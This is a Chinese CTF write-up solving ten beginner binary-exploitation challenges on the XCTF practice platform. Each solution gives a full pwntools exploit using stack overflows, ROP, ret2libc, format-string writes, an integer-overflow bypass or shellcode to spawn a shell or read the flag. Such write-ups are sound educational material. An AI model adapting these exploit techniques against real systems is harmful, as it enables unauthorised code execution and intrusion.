【pwn】攻防世界 pwn新手区wp
前言
这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了。
1、get_shell
送分题,连接上去就是/bin/sh
不过不知道为啥我的nc连接不上。。。
还是用pwntool的remote连接的
from pwn import *
io = remote("111.200.241.244", 64209)
io.interactive()
2、hello pwn
可以看到read写入的是0x601068地址的数据,而下面的if语句判断的是0x60106C地址的数据是否为1853186401
由于这两个位置在内存中就是+4字节的关系,所以我们可以在read的过程中实现覆盖
from pwn import *
io = remote("111.200.241.244", 49847)
payload = b"bi0x" + p64(1853186401)
io.sendline(payload)
io.interactive()
3、level0
main函数中会跳转到一个vulnerable_function
一看就是明显的栈溢出,然后rsp距离rbp的距离为0x80,所以直接覆盖就行了,在覆盖掉8字节的ret addr
此外值得一提的是,64位程序中,函数的前6个参数分别由rdi、rsi、rdx、rcx、r8、r9存放的,之后的参数存放在栈中。
所以这里我们将/bin/sh存入edi中,这样system函数的第一个参数就是/bin/sh了
from pwn import *
io = remote("111.200.241.244",54678)
elf = ELF("./xctf3")
binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663
payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendafter("Hello, World\n",payload)
io.interactive()
4、level2
终于来了个32位的-。-
拖入32位ida中分析,main函数中有一个vulnerable_function函数,步入分析
明显的栈溢出
我们在shift+f12中看到了/bin/sh的地址
所以直接给出exp
from pwn import *
io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4")
system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh"))
payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.send(payload)
io.interactive()
5、string
canary开启,所以栈溢出是没戏
看题目string(字符串),那么可能是格式化字符串了
拖入64位ida中分析
首先分析main函数,告诉我们有两个关键的指针地址,分别是v4[0]额v4[1]的地址,然后进入sub_400D72这个函数,传入的参数是v4[0]]这个指针
分析sub_400D72这个函数
首先叫我们输入一个用户名,然后判断这个用户名是否大于12,如果大于12长度那么结束
所以我们输入一个小于12长度的username
然后就是三个函数等着我们,sub_400A7D、sub_400BB9、sub_400CA6,我们一个个分析
首先来看sub_400A7D
输出可以看,首先叫我们选择方向east or up?
看到下面的strcmp判断,只能选择east跳出循环
然后来到下面的if,因为是east,所以直接结束执行了(不懂这个判断有啥必要。。?s1改为up大可不必)
然后是sub_400BB9
puts的也不用看,叫我们选择1or0,选1才能继续
告诉我们输入一个16字节的大小的地址
然后再输入一个wish,然后printf这个wish
很明显的格式化字符串
所以到这里就知道需要测试偏移量了
随后一个sub_400CA6(a1)
传入了a1这个参数,a1是啥,我们首先回到sub_400D72
sub_400D72传入了v4这个指针的地址,而sub_400D72这个函数的参数是a1
所以我们可以得到下图这个关键的if语句中的a1就是v4的地址,如果相等那么就mmap分配一个内存大小为0x1000的区域v1,然后我们可以向v1中写入0x100大小的数据
这里就可以想到写入一段amd64的shellcode来获取shell
需要我们将a1[0]和a1[1]相等,也就是v4[0] = v4[1]
我们如何将v4[0]赋值位85呢,利用格式化字符串!
在刚刚出现的printf中,我们先测量偏移量
我们输入的address是1,而这个0x1再printf中出现的是第8个,也就是printf的第8个参数,也就是第7个格式化字符串的参数,所以偏移量是7
所以格式化字符串只需要"a"*85+"%7$n",前面写85字节的字符串,然后传给第7个参数,这个第7个参数就是我们的v4[0]指针地址(在前面的程序开始puts的)
所以构建exp
from pwn import *
io = remote("111.200.241.244",55215)
io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()
6、guess_num
保护基本都开了,看这个题目就知道是猜数字
拖入ida中分析
先看main函数
首先输入username
然后给了一个以seed[0]为种子的随机数
然后for循环猜测10次数字
全对给flag
我们需要做的就是劫持seed[0],把它改为我们想要的数字,然后有了种子,模拟和它一样的随机数
这里我们看看v7地址
再看看seed[0]的地址
相差20
我们知道函数参数是逆序压入栈中,所以第一个参数的地址最低,这样我们就可以通过gets函数覆盖掉seed[0]的值,偏移量为0x20
exp如下
这里的from ctypes import *是导入c语言库函数的一个库
这样我们就可以使用srand函数了
from pwn import *
from ctypes import *
io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload)
for i in range(10):
io.sendlineafter("number:",str(libc.rand()%6+1))
io.interactive()
7、int_overflow
又是为数不多的x86
拖入32位ida中分析
查看所有字符串,发现cat flag
看main函数
叫我们选择1or2,选1进入login,选2退出。所以选1。
步入login()函数中分析
首先读取0x19长度的username,这么点长度栈溢出肯定没用
然后读取0x199的passwd,这里栈溢出有戏,但是看了看buf和ebp的距离,0x228,我们只能读入0x199长度,所以还是覆盖不了
把希望寄托于下面的check_passwd函数,传入参数为我们刚刚写入的buf
首先v3是一个无符号的8位数,也是我们刚刚输入的buf的长度,如果v3<= 3u(这里的u指的是unsigned,也就是无符号数,也就是011),或者v3 > 8u(也就是11111111,10进制中的255),那么这样我们输入的buf就判断为无效
如何让这个判断成为true呢?与题目中的int_overflow息息相关!
因为strlen()的返回值是一个int,4字节长度,也就是8位,如果我们的buf长度大于255会发生什么呢?
例如我们的buf的长度为263,二进制就是1 0000 0111,会被strlen读取为0000 0111,那么这个111>011,并且111<11111111,这样就成功绕过
最后再strcpy中实现dest的栈溢出,dest距离ebp距离为0x14,所以构建exp
from pwn import *
io = remote("111.200.241.244",57657)
elf = ELF("./xctf7")
io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale")
cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload)))
io.sendlineafter("passwd:",payload)
io.interactive()
8、cgpwn2
为数不多的x86
拖入32位ida中
先看所有字符串,没有后门
分析main函数
清除缓冲区,然后进入hello函数。没啥好看的
我们直接步入hello函数()
前面这么多数字计算,看的眼花缭乱,但是这些都没啥用,我们要的是gets函数的栈溢出,gets中输入s变量,s距离epb为0x26
这可以看到我们再fget中标准输入的东西存入了name这个变量中,我们是不是可以在name中存放一个/bin/sh或者cat flag,然后在下面gets函数中调用system(name),这样就获取了权限
直接看name的地址,在bss段的0x0804A080
那么直接构建exp
from pwn import *
io = remote("111.200.241.244",49222)
elf = ELF("./xctf8")
system_plt = elf.plt["system"]
binsh_addr = 0x0804A080
io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()
9、level3
还是x86,拖入ida
题目还给了个libc,一看就是ret2libc3
先看字符串,肯定是没有system的plt地址和后门的
main函数中有用的就是这个vulneravle_function函数
有个gets的栈溢出
这里需要了解动态连接的知识点
第一次调用一个函数,比如write(),write.plt会去找write.got索要write的真实地址,但是write.got不知道,所以让write.plt自己去找,然后write.plt自己找到了,将这个地址放在了write.got表中
第二次调用,write.plt会直接去找write.got,这个时候因为got表中存放了write的真实地址,所以直接给了write.plt,所以直接指向了write的真实地址
这是前置知识,不明白的去ctf-wiki的ret2libc3中恶补一下
这题我们需要的就是通过write可以写数据到控制台中,将write的got表地址中存储的write的真实地址输出,然后通过题目给的libc文件,得到libc的基地址,然后根据基地址去寻找system函数和/bin/sh的真实地址
我们第一次调用的时候,先执行write函数,将write的got表中存储的真实地址打印出来,然后执行_start函数,让程序再次运行
第二次程序运行,我们得到了system和bin/sh的地址,直接调用就okk了
from pwn import *
io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"]
payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload)
write_true_addr = u32(io.recv(4))
libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()
10、CGfsb
还是32位,拖入ida中分析
看main函数
直接看到了格式化字符串
只要我们的pwnme这个变量值为8,那么我们就可以cat flag
首先测试偏移量
测得偏移量为10
那么直接写exp
from pwn import *
io = remote("111.200.241.244",53590)
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + b"bi0x%10$n"
io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()
这里的pwnme需要的值是8,而我们输入的地址是4字节的,所以前面还需要4个char字符,这样4 + 4 = 8,我们的pwnme就可以赋值为8